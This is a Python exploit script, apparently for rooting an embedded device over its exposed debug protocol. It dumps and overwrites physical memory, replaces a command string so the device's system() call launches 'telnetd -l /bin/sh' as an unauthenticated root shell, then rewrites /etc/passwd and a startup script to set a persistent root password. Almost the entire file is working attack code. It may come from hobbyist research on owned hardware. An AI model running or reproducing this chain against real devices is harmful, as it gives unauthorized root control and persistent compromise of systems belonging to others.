exploit.py

import socket
import struct
import telnetlib3
import asyncio
import getpass

DBG_SERVER_IP = "192.168.42.1"
DBG_SERVER_PORT = 1234

MEM_BASE = 0x80000000
MEM_SIZE = 0x40000000
MEM_CHUNK_SIZE = 32768 * 4

"""
header packet:
u8 some type (magic 0xFF)
u8 some type 2 (magic 'Z')
u8 ?
u8 message type (1 = dbg_handle_reg)
u16 some param (set to 0)
s32 data length
u8 header checksum
u16 data checksum

read data packet:
u8 operation (2 = read)
u8 read type (0 = single uint32, 1 = buffer)
u32 base address
u16 read length / 4

read resp:
u8 = 3
u8 ?
u16 userparam
u32 base address
u16 read length / 4
data...

write data packet:
u8 operation (0 = write)
u8 write type (0 = single uint32, 1 = buffer)
u32 base address
u16 write length / 4
data...

write resp:
u8 = 1
"""

def readmem(sock: socket.socket, addr, length):
    payload = struct.pack("<BBIH", 2, 1, addr, length // 4)
    checksum = sum(payload) & 0xFFFF
    header = struct.pack("<3BBHiBH", 255, 90, 0, 1, 0, 8, 0, checksum)
    sock.sendall(header)
    sock.sendall(payload)

    expected_len = length // 4 * 4 + 10 + 13
    resp = b""
    while len(resp) < expected_len:
        resp += sock.recv(expected_len - len(resp))
        
    return resp[23:]

def writemem(sock: socket.socket, addr, data):
    payload = struct.pack("<BBIH", 0, 1, addr, (len(data) + 3) // 4) + data
    checksum = sum(payload) & 0xFFFF
    header = struct.pack("<3BBHiBH", 255, 90, 0, 1, 0, 8 + len(data), 0, checksum)
    sock.sendall(header)
    sock.sendall(payload)

    expected_len = 1 + 13
    resp = sock.recv(expected_len)
        
    return resp

def trigger_system(sock: socket.socket):
    payload = struct.pack("<B", 0x64)
    checksum = sum(payload) & 0xFFFF
    header = struct.pack("<3BBHiBH", 255, 90, 0, 2, 0, 1, 0, checksum)
    sock.sendall(header)
    sock.sendall(payload)

def sendping(sock: socket.socket):
    payload = b"A" * 16
    checksum = sum(payload)
    header = struct.pack("<3BBHiBH", 255, 90, 0, 0, 0, 16, 0, checksum)
    sock.sendall(header)
    sock.sendall(payload)
    return sock.recv(13 + 17)

def dump(sock: socket.socket, base, length):
    with open("dump.bin", "wb") as f:
        addr = 0
        while addr <= length:
            chunk = readmem(sock, base + addr, MEM_CHUNK_SIZE)
            if len(chunk) != MEM_CHUNK_SIZE:
                print(f"weird len {len(chunk)}")
            f.write(chunk)
            addr += MEM_CHUNK_SIZE
            print(f"{addr / length * 100}%")

def exploit(sock: socket.socket):
    hackstring = b"/dev/mem\0\0\0\0n=$(lsmod|grep -c arotp); if [ $n -eq 0 ]; then insmod /mod/arotp.ko; fi"
    hackstring_offset = 12
    addr = 0
    hackstring_addr = 0
    while addr <= MEM_SIZE:
        chunk = readmem(sock, MEM_BASE + addr, MEM_CHUNK_SIZE)
        if hackstring in chunk:
            hackstring_addr = addr + chunk.find(hackstring) + hackstring_offset
            print(f"Found string at {hex(MEM_BASE + hackstring_addr)}")
            break
        addr += MEM_CHUNK_SIZE
        print(f"{addr / MEM_SIZE * 100}%")

    writemem(sock, MEM_BASE + hackstring_addr, b"telnetd -l /bin/sh\0\0\0\0")

    print("verify")

    print(readmem(sock, MEM_BASE + hackstring_addr, 128))

    print("trigger call to system")

    trigger_system(sock)

    print(f"telnetd has been popped. you should now have a root shell at telnet {DBG_SERVER_IP}")


async def set_root_password(password):
    reader, writer = await telnetlib3.open_connection(DBG_SERVER_IP, 23)
    writer.write(f"mkpasswd {password} | awk '{{print \"root:\"$1\":0:0:root:/root:/bin/sh\"}}' > /local/passwd\n")
    writer.write("sed -i '1,2c #!/bin/sh\\ncp /local/passwd /etc/passwd' /local/shell/start_usbwifi.sh\n")
    writer.write("cp /local/passwd /etc/passwd\n")
    writer.write("sync\n")
    writer.write("exit\n")
    await reader.read()

if __name__ == "__main__":
    # Check if the exploit has already been executed (telnetd is running)
    conncheck = socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect_ex((DBG_SERVER_IP, 23))
    if conncheck != 0:
        print("Starting exploit")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((DBG_SERVER_IP, DBG_SERVER_PORT))
        exploit(s)
        s.sendall(b'')
        s.close()
    else:
        print("Telnet is already open")
        print("This means that the exploit has probably already been executed")
        print("Continuing")
    
    asyncio.run(set_root_password(getpass.getpass("\nNew root password: ")))
    print("Root password changed. Log in with ssh root@192.168.42.1 -o HostKeyAlgorithms=+ssh-rsa")